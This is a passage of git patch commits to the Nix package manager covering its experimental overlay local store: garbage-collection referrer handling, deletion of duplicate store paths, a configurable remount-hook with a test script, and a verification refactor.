diff --git a/tests/overlay-local-store/delete.sh b/tests/overlay-local-store/delete.sh new file mode 100755 index 000000000..79d67da71 --- /dev/null +++ b/tests/overlay-local-store/delete.sh @@ -0,0 +1,5 @@ +source common.sh + +requireEnvironment +setupConfig +execUnshare ./delete-inner.sh diff --git a/tests/overlay-local-store/local.mk b/tests/overlay-local-store/local.mk index 1f8de8f27..c9cb0b7f2 100644 --- a/tests/overlay-local-store/local.mk +++ b/tests/overlay-local-store/local.mk @@ -4,6 +4,7 @@ overlay-local-store-tests := \ $(d)/build.sh \ $(d)/bad-uris.sh \ $(d)/add-lower.sh \ + $(d)/delete.sh \ $(d)/gc.sh \ $(d)/verify.sh \ $(d)/optimise.sh From 07b34edc449f25e9b4062d7f6d90dad1f6c71760 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Tue, 25 Jul 2023 17:09:23 -0400 Subject: [PATCH 0088/1251] Fix deletion test Lower layer references are ignored for deleting just in the upper layer. --- src/libstore/gc.cc | 2 +- src/libstore/local-overlay-store.cc | 8 ++++++++ src/libstore/local-overlay-store.hh | 9 +++++++++ src/libstore/local-store.hh | 12 ++++++++++++ 4 files changed, 30 insertions(+), 1 deletion(-) diff --git a/src/libstore/gc.cc b/src/libstore/gc.cc index ea2868c58..8f5ce0994 100644 --- a/src/libstore/gc.cc +++ b/src/libstore/gc.cc @@ -741,7 +741,7 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) auto i = referrersCache.find(*path); if (i == referrersCache.end()) { StorePathSet referrers; - queryReferrers(*path, referrers); + queryGCReferrers(*path, referrers); referrersCache.emplace(*path, std::move(referrers)); i = referrersCache.find(*path); } diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc index 47d09dc75..e8ca8074e 100644 --- a/src/libstore/local-overlay-store.cc +++ b/src/libstore/local-overlay-store.cc @@ -138,6 +138,12 @@ void LocalOverlayStore::queryReferrers(const StorePath & path, StorePathSet & re } +void LocalOverlayStore::queryGCReferrers(const StorePath & path, StorePathSet & referrers) +{ + LocalStore::queryReferrers(path, referrers); +} + + StorePathSet LocalOverlayStore::queryValidDerivers(const StorePath & path) { auto res = LocalStore::queryValidDerivers(path); @@ -188,6 +194,7 @@ void LocalOverlayStore::deleteGCPath(const Path & path, uint64_t & bytesFreed) } } + void LocalOverlayStore::optimiseStore() { Activity act(*logger, actOptimiseStore); @@ -216,6 +223,7 @@ Path LocalOverlayStore::toRealPathForHardLink(const StorePath & path) : Store::toRealPath(path); } + static RegisterStoreImplementation regLocalOverlayStore; } diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index 64e2ef488..21658c6ab 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -115,7 +115,16 @@ private: void optimiseStore() override; + /** + * For lower-store paths, we used the lower store location. This avoids the + * wasteful "copying up" that would otherwise happen. + */ Path toRealPathForHardLink(const StorePath & storePath) override; + + /** + * Deletion only effects the upper layer, so we ignore lower-layer referrers. + */ + void queryGCReferrers(const StorePath & path, StorePathSet & referrers) override; }; } diff --git a/src/libstore/local-store.hh b/src/libstore/local-store.hh index 9a44722d4..c049de02e 100644 --- a/src/libstore/local-store.hh +++ b/src/libstore/local-store.hh @@ -230,6 +230,18 @@ public: void collectGarbage(const GCOptions & options, GCResults & results) override; + /** + * Called by `collectGarbage` to trace in reverse. + * + * Using this rather than `queryReferrers` directly allows us to + * fine-tune which referrers we consider for garbage collection; + * some store implementations take advantage of this. + */ + virtual void queryGCReferrers(const StorePath & path, StorePathSet & referrers) + { + return queryReferrers(path, referrers); + } + /** * Called by `collectGarbage` to recursively delete a path. * The default implementation simply calls `deletePath`, but it can be From b0877ad3c90a806e70cac3e7f6e5c26151239bb8 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 26 Jul 2023 09:29:04 -0400 Subject: [PATCH 0089/1251] Give test a more specific name --- .../{delete-inner.sh => delete-refs-inner.sh} | 0 tests/overlay-local-store/{delete.sh => delete-refs.sh} | 2 +- tests/overlay-local-store/local.mk | 2 +- 3 files changed, 2 insertions(+), 2 deletions(-) rename tests/overlay-local-store/{delete-inner.sh => delete-refs-inner.sh} (100%) rename tests/overlay-local-store/{delete.sh => delete-refs.sh} (58%) diff --git a/tests/overlay-local-store/delete-inner.sh b/tests/overlay-local-store/delete-refs-inner.sh similarity index 100% rename from tests/overlay-local-store/delete-inner.sh rename to tests/overlay-local-store/delete-refs-inner.sh diff --git a/tests/overlay-local-store/delete.sh b/tests/overlay-local-store/delete-refs.sh similarity index 58% rename from tests/overlay-local-store/delete.sh rename to tests/overlay-local-store/delete-refs.sh index 79d67da71..942d7fbdc 100755 --- a/tests/overlay-local-store/delete.sh +++ b/tests/overlay-local-store/delete-refs.sh @@ -2,4 +2,4 @@ source common.sh requireEnvironment setupConfig -execUnshare ./delete-inner.sh +execUnshare ./delete-refs-inner.sh diff --git a/tests/overlay-local-store/local.mk b/tests/overlay-local-store/local.mk index c9cb0b7f2..8bfb22ae7 100644 --- a/tests/overlay-local-store/local.mk +++ b/tests/overlay-local-store/local.mk @@ -4,7 +4,7 @@ overlay-local-store-tests := \ $(d)/build.sh \ $(d)/bad-uris.sh \ $(d)/add-lower.sh \ - $(d)/delete.sh \ + $(d)/delete-refs.sh \ $(d)/gc.sh \ $(d)/verify.sh \ $(d)/optimise.sh From d9688ba70881f1735cf36161244a9a6b2acf4d48 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Wed, 26 Jul 2023 11:31:26 +0100 Subject: [PATCH 0090/1251] Add new remount-hook store parameter. --- src/libstore/local-overlay-store.hh | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index 64e2ef488..f489c6ed6 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -41,6 +41,13 @@ struct LocalOverlayStoreConfig : virtual LocalStoreConfig default, but can be disabled if needed. )"}; + const PathSetting remountHook{(StoreConfig*) this, "", "remount-hook", + R"( + Script or program to run when overlay filesystem needs remounting. + + TODO: Document this in more detail. + )"}; + const std::string name() override { return "Experimental Local Overlay Store"; } std::string doc() override From cc6f8aa91a1716ed1801f51fb3a6a1fa468f338f Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Wed, 26 Jul 2023 12:33:26 +0100 Subject: [PATCH 0091/1251] Test that delete works for duplicate file edge case. --- tests/overlay-local-store/delete-inner.sh | 38 +++++++++++++++++++++++ tests/overlay-local-store/delete.sh | 5 +++ tests/overlay-local-store/local.mk | 3 +- 3 files changed, 45 insertions(+), 1 deletion(-) create mode 100644 tests/overlay-local-store/delete-inner.sh create mode 100644 tests/overlay-local-store/delete.sh diff --git a/tests/overlay-local-store/delete-inner.sh b/tests/overlay-local-store/delete-inner.sh new file mode 100644 index 000000000..20b39c7fa --- /dev/null +++ b/tests/overlay-local-store/delete-inner.sh @@ -0,0 +1,38 @@ +#!/usr/bin/env bash + +set -eu -o pipefail + +set -x + +source common.sh + +# Avoid store dir being inside sandbox build-dir +unset NIX_STORE_DIR +unset NIX_STATE_DIR + +storeDirs + +initLowerStore + +mountOverlayfs + +# Add to overlay before lower to ensure file is duplicated +upperPath=$(nix-store --store "$storeB" --add delete.sh) +lowerPath=$(nix-store --store "$storeA" --add delete.sh) +[[ "$upperPath" = "$lowerPath" ]] + +# Check there really are two files with different inodes +upperInode=$(stat -c %i "$storeBRoot/$upperPath") +lowerInode=$(stat -c %i "$storeA/$lowerPath") +[[ "$upperInode" != "$lowerInode" ]] + +# Now delete file via the overlay store +nix-store --store "$storeB" --delete "$upperPath" + +# Check there is no longer a file in upper layer +expect 1 stat "$storeBTop/${upperPath##/nix/store/}" + +# Check that overlay file is now the one in lower layer +upperInode=$(stat -c %i "$storeBRoot/$upperPath") +lowerInode=$(stat -c %i "$storeA/$lowerPath") +[[ "$upperInode" = "$lowerInode" ]] diff --git a/tests/overlay-local-store/delete.sh b/tests/overlay-local-store/delete.sh new file mode 100644 index 000000000..79d67da71 --- /dev/null +++ b/tests/overlay-local-store/delete.sh @@ -0,0 +1,5 @@ +source common.sh + +requireEnvironment +setupConfig +execUnshare ./delete-inner.sh diff --git a/tests/overlay-local-store/local.mk b/tests/overlay-local-store/local.mk index 1f8de8f27..9233462a3 100644 --- a/tests/overlay-local-store/local.mk +++ b/tests/overlay-local-store/local.mk @@ -6,6 +6,7 @@ overlay-local-store-tests := \ $(d)/add-lower.sh \ $(d)/gc.sh \ $(d)/verify.sh \ - $(d)/optimise.sh + $(d)/optimise.sh \ + $(d)/delete.sh install-tests-groups += overlay-local-store From 11c493f8fa88a81645318844077392020618887f Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Wed, 26 Jul 2023 13:21:38 +0100 Subject: [PATCH 0092/1251] Avoid creating whiteout for duplicate store paths. --- src/libstore/local-overlay-store.cc | 22 ++++++++++++++++++++-- src/libstore/local-overlay-store.hh | 2 ++ tests/overlay-local-store/delete-inner.sh | 1 + 3 files changed, 23 insertions(+), 2 deletions(-) diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc index 47d09dc75..38c40fbad 100644 --- a/src/libstore/local-overlay-store.cc +++ b/src/libstore/local-overlay-store.cc @@ -183,11 +183,27 @@ void LocalOverlayStore::deleteGCPath(const Path & path, uint64_t & bytesFreed) warn("local-overlay: unexpected gc path '%s' ", path); return; } - if (pathExists(toUpperPath({path.substr(mergedDir.length())}))) { - LocalStore::deleteGCPath(path, bytesFreed); + + StorePath storePath = {path.substr(mergedDir.length())}; + auto upperPath = toUpperPath(storePath); + + if (pathExists(upperPath)) { + std::cerr << " upper exists" << std::endl; + if (lowerStore->isValidPath(storePath)) { + std::cerr << " lower exists" << std::endl; + // Path also exists in lower store. + // We must delete via upper layer to avoid creating a whiteout. + deletePath(upperPath, bytesFreed); + _remountRequired = true; + } else { + // Path does not exist in lower store. + // So we can delete via overlayfs and not need to remount. + LocalStore::deleteGCPath(path, bytesFreed); + } } } + void LocalOverlayStore::optimiseStore() { Activity act(*logger, actOptimiseStore); @@ -209,6 +225,7 @@ void LocalOverlayStore::optimiseStore() } } + Path LocalOverlayStore::toRealPathForHardLink(const StorePath & path) { return lowerStore->isValidPath(path) @@ -216,6 +233,7 @@ Path LocalOverlayStore::toRealPathForHardLink(const StorePath & path) : Store::toRealPath(path); } + static RegisterStoreImplementation regLocalOverlayStore; } diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index f489c6ed6..ffb310b7b 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -123,6 +123,8 @@ private: void optimiseStore() override; Path toRealPathForHardLink(const StorePath & storePath) override; + + bool _remountRequired = false; }; } diff --git a/tests/overlay-local-store/delete-inner.sh b/tests/overlay-local-store/delete-inner.sh index 20b39c7fa..051b59d5f 100644 --- a/tests/overlay-local-store/delete-inner.sh +++ b/tests/overlay-local-store/delete-inner.sh @@ -28,6 +28,7 @@ lowerInode=$(stat -c %i "$storeA/$lowerPath") # Now delete file via the overlay store nix-store --store "$storeB" --delete "$upperPath" +remountOverlayfs # Check there is no longer a file in upper layer expect 1 stat "$storeBTop/${upperPath##/nix/store/}" From 33ebae75ca4a7fd81585928b36a1cc18995f8212 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Wed, 26 Jul 2023 13:29:31 +0100 Subject: [PATCH 0093/1251] Reuse deletion logic for optimiseStore and rename method. --- src/libstore/gc.cc | 2 +- src/libstore/local-overlay-store.cc | 7 ++++--- src/libstore/local-overlay-store.hh | 2 +- src/libstore/local-store.cc | 2 +- src/libstore/local-store.hh | 2 +- 5 files changed, 8 insertions(+), 7 deletions(-) diff --git a/src/libstore/gc.cc b/src/libstore/gc.cc index ea2868c58..a909d063b 100644 --- a/src/libstore/gc.cc +++ b/src/libstore/gc.cc @@ -653,7 +653,7 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) results.paths.insert(path); uint64_t bytesFreed; - deleteGCPath(realPath, bytesFreed); + deleteStorePath(realPath, bytesFreed); results.bytesFreed += bytesFreed; diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc index 38c40fbad..8b89f68bc 100644 --- a/src/libstore/local-overlay-store.cc +++ b/src/libstore/local-overlay-store.cc @@ -176,7 +176,7 @@ void LocalOverlayStore::registerValidPaths(const ValidPathInfos & infos) } -void LocalOverlayStore::deleteGCPath(const Path & path, uint64_t & bytesFreed) +void LocalOverlayStore::deleteStorePath(const Path & path, uint64_t & bytesFreed) { auto mergedDir = realStoreDir.get() + "/"; if (path.substr(0, mergedDir.length()) != mergedDir) { @@ -198,7 +198,7 @@ void LocalOverlayStore::deleteGCPath(const Path & path, uint64_t & bytesFreed) } else { // Path does not exist in lower store. // So we can delete via overlayfs and not need to remount. - LocalStore::deleteGCPath(path, bytesFreed); + LocalStore::deleteStorePath(path, bytesFreed); } } } @@ -217,8 +217,9 @@ void LocalOverlayStore::optimiseStore() for (auto & path : paths) { if (lowerStore->isValidPath(path)) { + uint64_t bytesFreed = 0; // Deduplicate store path - deletePath(toUpperPath(path)); + deleteStorePath(Store::toRealPath(path), bytesFreed); } done++; act.progress(done, paths.size()); diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index ffb310b7b..d45f6bfc5 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -118,7 +118,7 @@ private: void queryRealisationUncached(const DrvOutput&, Callback> callback) noexcept override; - void deleteGCPath(const Path & path, uint64_t & bytesFreed) override; + void deleteStorePath(const Path & path, uint64_t & bytesFreed) override; void optimiseStore() override; diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index 21acb3c38..2c18867f5 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -457,7 +457,7 @@ AutoCloseFD LocalStore::openGCLock() } -void LocalStore::deleteGCPath(const Path & path, uint64_t & bytesFreed) +void LocalStore::deleteStorePath(const Path & path, uint64_t & bytesFreed) { deletePath(path, bytesFreed); } diff --git a/src/libstore/local-store.hh b/src/libstore/local-store.hh index 9a44722d4..9146f27a5 100644 --- a/src/libstore/local-store.hh +++ b/src/libstore/local-store.hh @@ -235,7 +235,7 @@ public: * The default implementation simply calls `deletePath`, but it can be * overridden by stores that wish to provide their own deletion behaviour. */ - virtual void deleteGCPath(const Path & path, uint64_t & bytesFreed); + virtual void deleteStorePath(const Path & path, uint64_t & bytesFreed); /** * Optimise the disk space usage of the Nix store by hard-linking From ed1428692409f94cd5553b66c9f5e6aa3c048e86 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Wed, 26 Jul 2023 14:05:54 +0100 Subject: [PATCH 0094/1251] Invoke remount-hook program when necessary. --- src/libstore/local-overlay-store.cc | 22 ++++++++++++++++++++++ src/libstore/local-overlay-store.hh | 4 ++++ tests/overlay-local-store/delete-inner.sh | 3 +-- tests/overlay-local-store/remount.sh | 2 ++ 4 files changed, 29 insertions(+), 2 deletions(-) create mode 100755 tests/overlay-local-store/remount.sh diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc index 8b89f68bc..76c3adf5f 100644 --- a/src/libstore/local-overlay-store.cc +++ b/src/libstore/local-overlay-store.cc @@ -176,6 +176,14 @@ void LocalOverlayStore::registerValidPaths(const ValidPathInfos & infos) } +void LocalOverlayStore::collectGarbage(const GCOptions & options, GCResults & results) +{ + LocalStore::collectGarbage(options, results); + + remountIfNecessary(); +} + + void LocalOverlayStore::deleteStorePath(const Path & path, uint64_t & bytesFreed) { auto mergedDir = realStoreDir.get() + "/"; @@ -224,6 +232,8 @@ void LocalOverlayStore::optimiseStore() done++; act.progress(done, paths.size()); } + + remountIfNecessary(); } @@ -235,6 +245,18 @@ Path LocalOverlayStore::toRealPathForHardLink(const StorePath & path) } +void LocalOverlayStore::remountIfNecessary() +{ + if (remountHook.get().empty()) { + warn("'%s' needs remounting, set remount-hook to do this automatically", realStoreDir.get()); + } else { + runProgram(remountHook, false, {realStoreDir}); + } + + _remountRequired = false; +} + + static RegisterStoreImplementation regLocalOverlayStore; } diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index d45f6bfc5..a26392523 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -118,12 +118,16 @@ private: void queryRealisationUncached(const DrvOutput&, Callback> callback) noexcept override; + void collectGarbage(const GCOptions & options, GCResults & results) override; + void deleteStorePath(const Path & path, uint64_t & bytesFreed) override; void optimiseStore() override; Path toRealPathForHardLink(const StorePath & storePath) override; + void remountIfNecessary(); + bool _remountRequired = false; }; diff --git a/tests/overlay-local-store/delete-inner.sh b/tests/overlay-local-store/delete-inner.sh index 051b59d5f..f3878f657 100644 --- a/tests/overlay-local-store/delete-inner.sh +++ b/tests/overlay-local-store/delete-inner.sh @@ -27,8 +27,7 @@ lowerInode=$(stat -c %i "$storeA/$lowerPath") [[ "$upperInode" != "$lowerInode" ]] # Now delete file via the overlay store -nix-store --store "$storeB" --delete "$upperPath" -remountOverlayfs +nix-store --store "$storeB&remount-hook=$PWD/remount.sh" --delete "$upperPath" # Check there is no longer a file in upper layer expect 1 stat "$storeBTop/${upperPath##/nix/store/}" diff --git a/tests/overlay-local-store/remount.sh b/tests/overlay-local-store/remount.sh new file mode 100755 index 000000000..ee91c6b43 --- /dev/null +++ b/tests/overlay-local-store/remount.sh @@ -0,0 +1,2 @@ +#!/usr/bin/env bash +mount -o remount "$1" From 6da05c0a11365c8cd138c15600ec966e9c2b5940 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Wed, 26 Jul 2023 14:29:36 +0100 Subject: [PATCH 0095/1251] Rename test to delete-duplicate. --- .../{delete-inner.sh => delete-duplicate-inner.sh} | 4 ++-- tests/overlay-local-store/{delete.sh => delete-duplicate.sh} | 2 +- tests/overlay-local-store/local.mk | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) rename tests/overlay-local-store/{delete-inner.sh => delete-duplicate-inner.sh} (87%) rename tests/overlay-local-store/{delete.sh => delete-duplicate.sh} (55%) diff --git a/tests/overlay-local-store/delete-inner.sh b/tests/overlay-local-store/delete-duplicate-inner.sh similarity index 87% rename from tests/overlay-local-store/delete-inner.sh rename to tests/overlay-local-store/delete-duplicate-inner.sh index f3878f657..6053451d8 100644 --- a/tests/overlay-local-store/delete-inner.sh +++ b/tests/overlay-local-store/delete-duplicate-inner.sh @@ -17,8 +17,8 @@ initLowerStore mountOverlayfs # Add to overlay before lower to ensure file is duplicated -upperPath=$(nix-store --store "$storeB" --add delete.sh) -lowerPath=$(nix-store --store "$storeA" --add delete.sh) +upperPath=$(nix-store --store "$storeB" --add delete-duplicate.sh) +lowerPath=$(nix-store --store "$storeA" --add delete-duplicate.sh) [[ "$upperPath" = "$lowerPath" ]] # Check there really are two files with different inodes diff --git a/tests/overlay-local-store/delete.sh b/tests/overlay-local-store/delete-duplicate.sh similarity index 55% rename from tests/overlay-local-store/delete.sh rename to tests/overlay-local-store/delete-duplicate.sh index 79d67da71..0c0b1a3b2 100644 --- a/tests/overlay-local-store/delete.sh +++ b/tests/overlay-local-store/delete-duplicate.sh @@ -2,4 +2,4 @@ source common.sh requireEnvironment setupConfig -execUnshare ./delete-inner.sh +execUnshare ./delete-duplicate-inner.sh diff --git a/tests/overlay-local-store/local.mk b/tests/overlay-local-store/local.mk index 9233462a3..7de46ab02 100644 --- a/tests/overlay-local-store/local.mk +++ b/tests/overlay-local-store/local.mk @@ -7,6 +7,6 @@ overlay-local-store-tests := \ $(d)/gc.sh \ $(d)/verify.sh \ $(d)/optimise.sh \ - $(d)/delete.sh + $(d)/delete-duplicate.sh install-tests-groups += overlay-local-store From 5744a500d66214f6d833100924a2f7362b7b82a7 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Wed, 26 Jul 2023 14:33:47 +0100 Subject: [PATCH 0096/1251] Use debug instead of writing directly to stderr. --- src/libstore/local-overlay-store.cc | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc index 76c3adf5f..dfd2f0d34 100644 --- a/src/libstore/local-overlay-store.cc +++ b/src/libstore/local-overlay-store.cc @@ -196,9 +196,9 @@ void LocalOverlayStore::deleteStorePath(const Path & path, uint64_t & bytesFreed auto upperPath = toUpperPath(storePath); if (pathExists(upperPath)) { - std::cerr << " upper exists" << std::endl; + debug("upper exists: %s", path); if (lowerStore->isValidPath(storePath)) { - std::cerr << " lower exists" << std::endl; + debug("lower exists: %s", storePath.to_string()); // Path also exists in lower store. // We must delete via upper layer to avoid creating a whiteout. deletePath(upperPath, bytesFreed); From ca1a108dad93f00f18929c02bf29bbe5347035ac Mon Sep 17 00:00:00 2001 From: Ben Radford <104896700+benradf@users.noreply.github.com> Date: Wed, 26 Jul 2023 14:37:35 +0100 Subject: [PATCH 0097/1251] Update tests/overlay-local-store/remount.sh Co-authored-by: John Ericson --- tests/overlay-local-store/remount.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/overlay-local-store/remount.sh b/tests/overlay-local-store/remount.sh index ee91c6b43..0b06debb5 100755 --- a/tests/overlay-local-store/remount.sh +++ b/tests/overlay-local-store/remount.sh @@ -1,2 +1,2 @@ -#!/usr/bin/env bash +#!/bin/sh mount -o remount "$1" From 3a9fe1a085edc8db3e3cd35531829ddab51bcd81 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Wed, 26 Jul 2023 14:44:14 +0100 Subject: [PATCH 0098/1251] Made remountRequired atomic to avoid concurrency issues. --- src/libstore/local-overlay-store.hh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index a26392523..66a43d84a 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -128,7 +128,7 @@ private: void remountIfNecessary(); - bool _remountRequired = false; + std::atomic_bool _remountRequired = false; }; } From c2d54496a0c8611a7008181e2dc4fc57d520752f Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Wed, 26 Jul 2023 14:47:44 +0100 Subject: [PATCH 0099/1251] Forgot to check flag and early out. --- src/libstore/local-overlay-store.cc | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc index dfd2f0d34..04a1717cd 100644 --- a/src/libstore/local-overlay-store.cc +++ b/src/libstore/local-overlay-store.cc @@ -247,6 +247,8 @@ Path LocalOverlayStore::toRealPathForHardLink(const StorePath & path) void LocalOverlayStore::remountIfNecessary() { + if (!_remountRequired) return; + if (remountHook.get().empty()) { warn("'%s' needs remounting, set remount-hook to do this automatically", realStoreDir.get()); } else { From 50ce8d15eb5fed11080a3b94991c55e880c22252 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Fri, 28 Jul 2023 10:11:45 +0100 Subject: [PATCH 0100/1251] Preparatory refactor of LocalStore::verifyStore. --- src/libstore/local-store.cc | 51 +++++++++++++++++++++---------------- src/libstore/local-store.hh | 6 +++-- 2 files changed, 33 insertions(+), 24 deletions(-) diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index 2c18867f5..6c3584b49 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -1498,24 +1498,14 @@ bool LocalStore::verifyStore(bool checkContents, RepairFlag repair) { printInfo("reading the Nix store..."); - bool errors = false; - /* Acquire the global GC lock to get a consistent snapshot of existing and valid paths. */ auto fdGCLock = openGCLock(); FdLock gcLock(fdGCLock.get(), ltRead, true, "waiting for the big garbage collector lock..."); - StringSet store; - for (auto & i : readDirectory(realStoreDir)) store.insert(i.name); - - /* Check whether all valid paths actually exist. */ - printInfo("checking path existence..."); - StorePathSet validPaths; - PathSet done; - for (auto & i : queryAllValidPaths()) - verifyPath(printStorePath(i), store, done, validPaths, repair, errors); + bool errors = verifyAllValidPaths(repair, validPaths); /* Optionally, check the content hashes (slow). */ if (checkContents) { @@ -1601,28 +1591,45 @@ bool LocalStore::verifyStore(bool checkContents, RepairFlag repair) } -void LocalStore::verifyPath(const Path & pathS, const StringSet & store, - PathSet & done, StorePathSet & validPaths, RepairFlag repair, bool & errors) +bool LocalStore::verifyAllValidPaths(RepairFlag repair, StorePathSet & validPaths) +{ + StringSet store; + for (auto & i : readDirectory(realStoreDir)) store.insert(i.name); + + /* Check whether all valid paths actually exist. */ + printInfo("checking path existence..."); + + StorePathSet done; + bool errors = false; + + auto existsInStoreDir = [&](const StorePath & storePath) { + return store.count(std::string(storePath.to_string())); + }; + + for (auto & i : queryAllValidPaths()) + verifyPath(i, existsInStoreDir, done, validPaths, repair, errors); + + return errors; +} + + +void LocalStore::verifyPath(const StorePath & path, std::function existsInStoreDir, + StorePathSet & done, StorePathSet & validPaths, RepairFlag repair, bool & errors) { checkInterrupt(); - if (!done.insert(pathS).second) return; + if (!done.insert(path).second) return; - if (!isStorePath(pathS)) { - printError("path '%s' is not in the Nix store", pathS); - return; - } + auto pathS = printStorePath(path); - auto path = parseStorePath(pathS); - - if (!store.count(std::string(path.to_string()))) { + if (!existsInStoreDir(path)) { /* Check any referrers first. If we can invalidate them first, then we can invalidate this path as well. */ bool canInvalidate = true; StorePathSet referrers; queryReferrers(path, referrers); for (auto & i : referrers) if (i != path) { - verifyPath(printStorePath(i), store, done, validPaths, repair, errors); + verifyPath(i, existsInStoreDir, done, validPaths, repair, errors); if (validPaths.count(i)) canInvalidate = false; } diff --git a/src/libstore/local-store.hh b/src/libstore/local-store.hh index 514ac256b..f9db43517 100644 --- a/src/libstore/local-store.hh +++ b/src/libstore/local-store.hh @@ -265,6 +265,8 @@ public: bool verifyStore(bool checkContents, RepairFlag repair) override; + virtual bool verifyAllValidPaths(RepairFlag repair, StorePathSet & validPaths); + /** * Register the validity of a path, i.e., that `path` exists, that * the paths referenced by it exists, and in the case of an output @@ -333,8 +335,8 @@ private: */ void invalidatePathChecked(const StorePath & path); - void verifyPath(const Path & path, const StringSet & store, - PathSet & done, StorePathSet & validPaths, RepairFlag repair, bool & errors); + void verifyPath(const StorePath & path, std::function existsInStoreDir, + StorePathSet & done, StorePathSet & validPaths, RepairFlag repair, bool & errors); std::shared_ptr queryPathInfoInternal(State & state, const StorePath & path); From 6a8de4c9dcd5c329f6488818517995647c577c87 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Fri, 28 Jul 2023 10:59:16 +0100 Subject: [PATCH 0101/1251] Avoid enumerating entire overlay store dir upfront. As an optimisation for LocalStore, we read all the store directory entries into a set. Checking for membership of this set is much faster than a stat syscall. However for LocalOverlayStore, the lower store directory is expected to contain a vast number of entries and reading them all can take a very long time. So instead of enumerating them all upfront, we call pathExists as needed. This means making stat syscalls for each store path, but the upper layer is expected to be relatively small compared to the lower store so that should be okay. --- src/libstore/local-overlay-store.cc | 16 ++++++++++++++++ src/libstore/local-overlay-store.hh | 2 ++ src/libstore/local-store.hh | 8 +++++--- tests/overlay-local-store/verify-inner.sh | 3 +++ 4 files changed, 26 insertions(+), 3 deletions(-) diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc index 30008de67..4bfad6d32 100644 --- a/src/libstore/local-overlay-store.cc +++ b/src/libstore/local-overlay-store.cc @@ -243,6 +243,22 @@ void LocalOverlayStore::optimiseStore() } +bool LocalOverlayStore::verifyAllValidPaths(RepairFlag repair, StorePathSet & validPaths) +{ + StorePathSet done; + bool errors = false; + + auto existsInStoreDir = [&](const StorePath & storePath) { + return pathExists(realStoreDir.get() + "/" + storePath.to_string()); + }; + + for (auto & i : queryAllValidPaths()) + verifyPath(i, existsInStoreDir, done, validPaths, repair, errors); + + return errors; +} + + Path LocalOverlayStore::toRealPathForHardLink(const StorePath & path) { return lowerStore->isValidPath(path) diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index 1c1d54a8f..21af396a6 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -124,6 +124,8 @@ private: void optimiseStore() override; + bool verifyAllValidPaths(RepairFlag repair, StorePathSet & validPaths) override; + /** * For lower-store paths, we used the lower store location. This avoids the * wasteful "copying up" that would otherwise happen. diff --git a/src/libstore/local-store.hh b/src/libstore/local-store.hh index f9db43517..322d27932 100644 --- a/src/libstore/local-store.hh +++ b/src/libstore/local-store.hh @@ -312,6 +312,11 @@ public: std::optional getVersion() override; +protected: + + void verifyPath(const StorePath & path, std::function existsInStoreDir, + StorePathSet & done, StorePathSet & validPaths, RepairFlag repair, bool & errors); + private: /** @@ -335,9 +340,6 @@ private: */ void invalidatePathChecked(const StorePath & path); - void verifyPath(const StorePath & path, std::function existsInStoreDir, - StorePathSet & done, StorePathSet & validPaths, RepairFlag repair, bool & errors); - std::shared_ptr queryPathInfoInternal(State & state, const StorePath & path); void updatePathInfo(State & state, const ValidPathInfo & info); diff --git a/tests/overlay-local-store/verify-inner.sh b/tests/overlay-local-store/verify-inner.sh index de40c3d05..64d3b63c1 100755 --- a/tests/overlay-local-store/verify-inner.sh +++ b/tests/overlay-local-store/verify-inner.sh @@ -50,6 +50,9 @@ find "$storeA" -name "*-dummy" -exec truncate -s 0 {} \; # Also truncate the file that only exists in lower store truncate -s 0 "$storeA/$lowerOnlyPath" +# Ensure overlayfs is synchronised +remountOverlayfs + ## Now test that verify and repair work as expected From 1255866e16bbbf2ac93ade99ae5ef2f68f64d8c6 Mon Sep 17 00:00:00 2001 From: Ben Radford <104896700+benradf@users.noreply.github.com> Date: 